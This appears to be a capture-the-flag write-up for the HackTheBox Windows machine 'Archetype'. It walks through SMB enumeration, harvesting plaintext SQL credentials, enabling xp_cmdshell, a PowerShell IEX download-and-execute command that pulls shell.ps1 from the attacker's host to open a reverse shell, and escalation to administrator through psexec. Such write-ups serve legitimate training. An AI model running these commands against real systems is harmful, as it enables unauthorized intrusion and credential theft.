

# [HackTheBox] Archetype


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Categories: [htb](#), [windows](#)

Tags: [enumerate\\_proto\\_smb](#), [enumerate\\_proto\\_smb\\_anonymous\\_access](#), [enumerate\\_proto\\_sql](#), [enumerate\\_proto\\_sql\\_ssiss](#), [exploit\\_sql\\_login](#), [exploit\\_sql\\_xpcmdshell](#), [enumerate\\_app\\_powershell\\_history](#), [privesc\\_psexec\\_login](#)

InfoCard:

Archetype

 Windows

10.10.10.27

## Overview

This is a writeup for HTB VM [Archetype](#). Here's an overview of the enumeration → exploitation → privilege escalation process:




Figure 1: writeup.overview.killchain

## Phase #1: Enumeration

1. Here's the Nmap scan result:

```
1 # Nmap 7.70 scan initiated Tue Apr 28 07:55:10 2020 as: nmap -vv --reason -Pn -sV -sC
   ↳ --version-all -oN
   ↳ /root/toolbox/writeups/htb.archetype/results/10.10.10.27/scans/_quick_tcp_nmap.txt -oX
   ↳ /root/toolbox/writeups/htb.archetype/results/10.10.10.27/scans/xml/_quick_tcp_nmap.xml
   ↳ 10.10.10.27
2 Increasing send delay for 10.10.10.27 from 0 to 5 due to 32 out of 106 dropped probes since
   ↳ last increase.
3 Nmap scan report for 10.10.10.27
4 Host is up, received user-set (0.29s latency).
5 Scanned at 2020-04-28 07:55:24 PDT for 59s
6 Not shown: 996 closed ports
7 Reason: 996 resets
8 PORT      STATE SERVICE      REASON      VERSION
9 135/tcp    open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
10 139/tcp    open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
11 445/tcp    open  microsoft-ds syn-ack ttl 127 Windows Server 2019 Standard 17763 microsoft-ds
12 1433/tcp   open  ms-sql-s     syn-ack ttl 127 Microsoft SQL Server 14.00.1000.00
13 | ms-sql-ntlm-info:
14 |   Target_Name: ARCHETYPE
15 |   NetBIOS_Domain_Name: ARCHETYPE
16 |   NetBIOS_Computer_Name: ARCHETYPE
17 |   DNS_Domain_Name: Archetype
18 |   DNS_Computer_Name: Archetype
19 |_ Product_Version: 10.0.17763
20 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
21 | Issuer: commonName=SSL_Self_Signed_Fallback
22 | Public Key type: rsa
23 | Public Key bits: 2048
24 | Signature Algorithm: sha256WithRSAEncryption
25 | Not valid before: 2020-04-28T07:32:15
26 | Not valid after: 2050-04-28T07:32:15
27 | MD5: 1991 9c41 53a0 c167 df32 b67b 61b8 1d29
28 | SHA-1: 0e4e f065 a8c7 acbc 908f ee2e c308 1d69 b40f 5685
29 | -----BEGIN CERTIFICATE-----
30 | MIIDADCCAeigAwIBAgIQcwBdrws1MrBBCZkTyH2PuzANBgkqhkiG9w0BAQsFADA7
31 | MTkwNwYDVQQDHjAAUwBTAeAwBTAUAbABMAF8AUwBpAGcAbgBlAGQAXwBGAGEA
32 | bABsAGIAYQBjAGswIBcNMjAwNDI4MDczMjE1WhgPMjA1MDA0MjgwNzMyMTVaMDsx
33 | OTA3BgNVBAMeMABTAFMATABfAFMAZQBAsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
34 | AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSuifA
35 | DN4ACMe7B70oBUbpTthzMerRWg72fCSLmJWqgVrfwqBd/jlqvF2ytwrydVvp0i0b
36 | bBzYnw0qVj2CpEoQCbn2VZPATo1tv6dSbht4BKHdLDQOyLcflcdg+F11W4XCPf7w
37 | b4kMSWQHrr/paE388hh+yW1jyohBGB93tAHRBRFRSOD6u7DcgZxbznvYPf4a4mZN
38 | P45cLa3FGTR30c6hHCjqK1W4L1P3IjTPfFeUIuW1/3PQHn7ox/1STvIERh/Pfy3X
39 | fkZ4Z5Mar8nxjq1IOnmv6AnXDt4mtnfTzIA+MAZQ3x7h08iX73V83m8pCMZR90nB
40 | /uDq41n4HctzarkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAEj8vggUbVVKJOPG2
41 | nUHJ9T5umrpswOmmKk+S/cKY3BGqTL1ChttzWytF23SR53iIwFrYLXbApKCE8c8b
42 | T3zcI6YNs0gqm/H01FNKIaQNeNVCAMLCugLnca4QeL00ZAHTgmpaUU1V498fw7h
43 | HV1/EOTi2+gt+6QUmNanH0g18Bh0hWX8wWEI1zervPrFU10zrczT6GJy/D4RiAKg
44 | iW26m2V+Iteo3sy0lUQKSCcYsG3+Pwnx1j3SYL4tn68xwR9Jj+cfg/dT3oR1DJN
45 | 3s57f0jimwBlIbod2HEdQDpxuijqYszpjTjqnWCvIT3YZip/OLa/12PyU0zwnQE8
46 | /R2Bwg==
47 | -----END CERTIFICATE-----
48 |_ssl-date: 2020-04-28T15:10:19+00:00; +14m11s from scanner time.
```

```

49 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
50
51 Host script results:
52 |_clock-skew: mean: 1h38m11s, deviation: 3h07m50s, median: 14m11s
53 |_ms-sql-info:
54 |   10.10.10.27:1433:
55 |     Version:
56 |       name: Microsoft SQL Server
57 |       number: 14.00.1000.00
58 |       Product: Microsoft SQL Server
59 |_TCP port: 1433
60 |_p2p-conficker:
61 |   Checking for Conficker.C or higher...
62 |   Check 1 (port 53066/tcp): CLEAN (Couldn't connect)
63 |   Check 2 (port 9662/tcp): CLEAN (Couldn't connect)
64 |   Check 3 (port 45578/udp): CLEAN (Timeout)
65 |   Check 4 (port 47960/udp): CLEAN (Failed to receive data)
66 |_0/4 checks are positive: Host is CLEAN or ports are blocked
67 |_smb-os-discovery:
68 |   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
69 |   Computer name: Archetype
70 |   NetBIOS computer name: ARCHETYPE\x00
71 |   Workgroup: WORKGROUP\x00
72 |_System time: 2020-04-28T08:10:20-07:00
73 |_smb-security-mode:
74 |   account_used: guest
75 |   authentication_level: user
76 |   challenge_response: supported
77 |_message_signing: disabled (dangerous, but default)
78 |_smb2-security-mode:
79 |   2.02:
80 |_Message signing enabled but not required
81 |_smb2-time:
82 |   date: 2020-04-28 08:10:22
83 |_start_date: N/A
84
85 Read data files from: /usr/bin/./share/nmap
86 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
87 # Nmap done at Tue Apr 28 07:56:23 2020 -- 1 IP address (1 host up) scanned in 73.83 seconds

```

2. We find 445/tcp to be open and can use smbclient to check if it allows anonymous access:

```

1 smbclient -N -L \\10.10.10.27

```

```

root@kali: ~/toolbox/data/writeups/htb.archetype # smbclient -N -L \\10.10.10.27
WARNING: The "syslog" option is deprecated

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      backups        Disk
      C$             Disk      Default share
      IPC$           IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.27 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
root@kali: ~/toolbox/data/writeups/htb.archetype #

```

Figure 2: writeup.enumeration.steps.2.1

3. We find a non-default share named `backups` which seems interesting. Let's explore further:

```
1 smbclient -N \\\\10.10.10.27\\backups
```

```
root@kali: ~/toolbox/data/writeups/htb.archetype # smbclient -N \\\\10.10.10.27\\backups
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0 Mon Jan 20 04:20:57 2020
..               D           0 Mon Jan 20 04:20:57 2020
prod.dtsConfig   AR        609 Mon Jan 20 04:23:02 2020

10328063 blocks of size 4096. 8252967 blocks available

smb: \>
smb: \>
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> exit
root@kali: ~/toolbox/data/writeups/htb.archetype #
```

Figure 3: writeup.enumeration.steps.3.1

4. We find a `prod.dtsConfig` file on the SMB share. The `.dtsConfig` files are used by [SQL Server Integration Services \(SSIS\)](#). We find that this file contains plaintext credentials for the default SQL service user:

```
root@kali: ~/toolbox/data/writeups/htb.archetype # cat prod.dtsConfig
<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" Value="String">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
  </Configuration>
</DTSConfiguration>root@kali: ~/toolbox/data/writeups/htb.archetype #
```

Figure 4: writeup.enumeration.steps.4.1

## Findings

### Open Ports:

1	135/tcp	msrpc	Microsoft Windows RPC
2	139/tcp	netbios-ssn	Microsoft Windows netbios-ssn
3	445/tcp	microsoft-ds	Windows Server 2019 Standard 17763 microsoft-ds
4	1433/tcp	ms-sql-s	Microsoft SQL Server 14.00.1000.00
5	5985/tcp	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6	47001/tcp	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7	49664/tcp	msrpc	Microsoft Windows RPC
8	49665/tcp	msrpc	Microsoft Windows RPC
9	49666/tcp	msrpc	Microsoft Windows RPC
10	49667/tcp	msrpc	Microsoft Windows RPC
11	49668/tcp	msrpc	Microsoft Windows RPC
12	49669/tcp	msrpc	Microsoft Windows RPC

## Files

```
1 prod.dtsConfig
```

## Users

```
1 sql: sql_svc
```

## Phase #2: Exploitation

1. Since the 1443/tcp port is open for SQL service and we also have credentials for the default user, let's connect to the remote service and explore further:

```
1 mssqlclient.py -windows-auth "sql_svc@10.10.10.27"

root@kali: ~/toolbox/data/writeups/htb.archetype # mssqlclient.py -windows-auth "sql_svc@10.10.10.27"
Impacket v0.9.22.dev1+20200424.150528.c44901d1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')

-----
1
```

Figure 5: writeup.exploitation.steps.1.1

2. We find that the user has `sysadmin` access (highest access level on SQL server) using the `IS_SRVROLEMEMBER` function. This allows us to enable `xp_cmdshell` to gain command execution:

```
1 SELECT IS_SRVROLEMEMBER('sysadmin')
2
3 EXEC sp_configure 'Show Advanced Options', 1;
4 reconfigure;
5 sp_configure;
6 EXEC sp_configure 'xp_cmdshell', 1
7 reconfigure;
```

3. Let's run the `whoami` command using the `xp_cmdshell` method and check our current privileges. We find that our current user `sql_svc` lacks `Administrator` access on the system:

```
1 xp_cmdshell "whoami"

SQL> EXEC sp_configure 'xp_cmdshell', 1
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output

-----

archetype\sql_svc

NULL

SQL>
```

Figure 6: writeup.exploitation.steps.3.1

4. Let's deploy a Powershell reverse shell on the system using `xp_cmdshell` to gain interactive access on the system:

```

1 type shell.ps1
2   xp_cmdshell "powershell "IEX (New-Object
   ↪ Net.WebClient).DownloadString(\"http://10.10.14.33/shell.ps1\");"
3 python3 -m http.server 80
4 ufw allow from 10.10.10.27 proto tcp to any port 80,443
5 nc -nlvp 443

root@kali: ~/toolbox/data/writeups/htb.archetype # ufw allow from 10.10.10.27 proto tcp to any port 80,443
Rules updated
root@kali: ~/toolbox/data/writeups/htb.archetype #

```

Figure 7: writeup.exploitation.steps.4.1

```

root@kali: ~/toolbox/data/writeups/htb.archetype # python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - [28/Apr/2020 09:02:37] "GET /shell.ps1 HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
root@kali: ~/toolbox/data/writeups/htb.archetype #

```

Figure 8: writeup.exploitation.steps.4.2

```

root@kali: ~/toolbox/data/writeups/htb.archetype # nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.27] 49702

```

Figure 9: writeup.exploitation.steps.4.3

```

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.33/shell.ps1\");"

```

Figure 10: writeup.exploitation.steps.4.4

5. We can now read the `user.txt` flag:

```

1 type C:\Users\sql_svc\Desktop\user.txt

```

```

# cd Desktop
# dir

        Directory: C:\Users\sql_svc\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            2/25/2020   6:37 AM             32 user.txt

# type user.txt
3e7b102e78218e935bf3f4951fec21a3
#

```

Figure 11: writeup.exploitation.steps.5.1



## Phase #2.5: Post Exploitation

```
1 sql_svc@ARCHETYPE> id
2 archetype\sql_svc
3 sql_svc@ARCHETYPE>
4 sql_svc@ARCHETYPE> uname
5 Host Name: ARCHETYPE
6 OS Name: Microsoft Windows Server 2019 Standard
7 OS Version: 10.0.17763 N/A Build 17763
8 OS Manufacturer: Microsoft Corporation
9 OS Configuration: Standalone Server
10 sql_svc@ARCHETYPE>
11 sql_svc@ARCHETYPE> ifconfig
12 Ethernet adapter Ethernet0 2:
13     Connection-specific DNS Suffix  . :
14     IPv6 Address. . . . . : dead:beef::f1b0:217c:824d:11d2
15     Link-local IPv6 Address . . . . . : fe80::f1b0:217c:824d:11d2%7
16     IPv4 Address. . . . . : 10.10.10.27
17     Subnet Mask . . . . . : 255.255.255.0
18     Default Gateway . . . . . : fe80::250:56ff:feb9:339d%7
19                                     10.10.10.2
20 sql_svc@ARCHETYPE>
21 sql_svc@ARCHETYPE> users
22 sql_svc
23 Administrator
```

## Phase #3: Privilege Escalation

1. With our interactive shell running, we can now begin exploring the system further. Since the current user is a normal as well as service account, let's look at the Powershell history file to find any interesting commands:

```
1 type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
  ↵ ConsoleHost_history.txt

# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
#
```

Figure 12: writeup.privesc.steps.1.1

2. We find that the **backups** drive has been mounted using administrative privileges and the credentials are leaked in plaintext within the history file. We can use these credentials to gain elevated access on the system:

```
1 psexec.py administrator@10.10.10.27

root@kali: ~/toolbox/data/writeups/htb.archetype # psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1+20200424.150528.c44901d1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file zgANJwU.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service LYke on 10.10.10.27.....
[*] Starting service LYke.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd ..
```

Figure 13: writeup.privesc.steps.2.1

3. We can now read the **root.txt** flag:

```
1 type C:\Users\Administrator\Desktop\root.txt
```

```
C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CE13-2325

Directory of C:\Users\Administrator\Desktop

01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:36 AM                32 root.txt
               1 File(s)                32 bytes
               2 Dir(s)  33,798,447,104 bytes free

C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop>
```

Figure 14: writeup.privesc.steps.3.1

## Loot

### Credentials

```
1  ssh: administrator/MEGACORP_4.....  
2  sql: sql_svc/M3g4c0r....
```

### Flags

```
1  C:\Users\sql_svc\Desktop\user.txt: 3e7b102e78218e935bf.....  
2  C:\Users\Administrator\Desktop\root.txt: b91ccec3305e982400.....
```

## References

[+] <https://www.hackthebox.eu/home/start>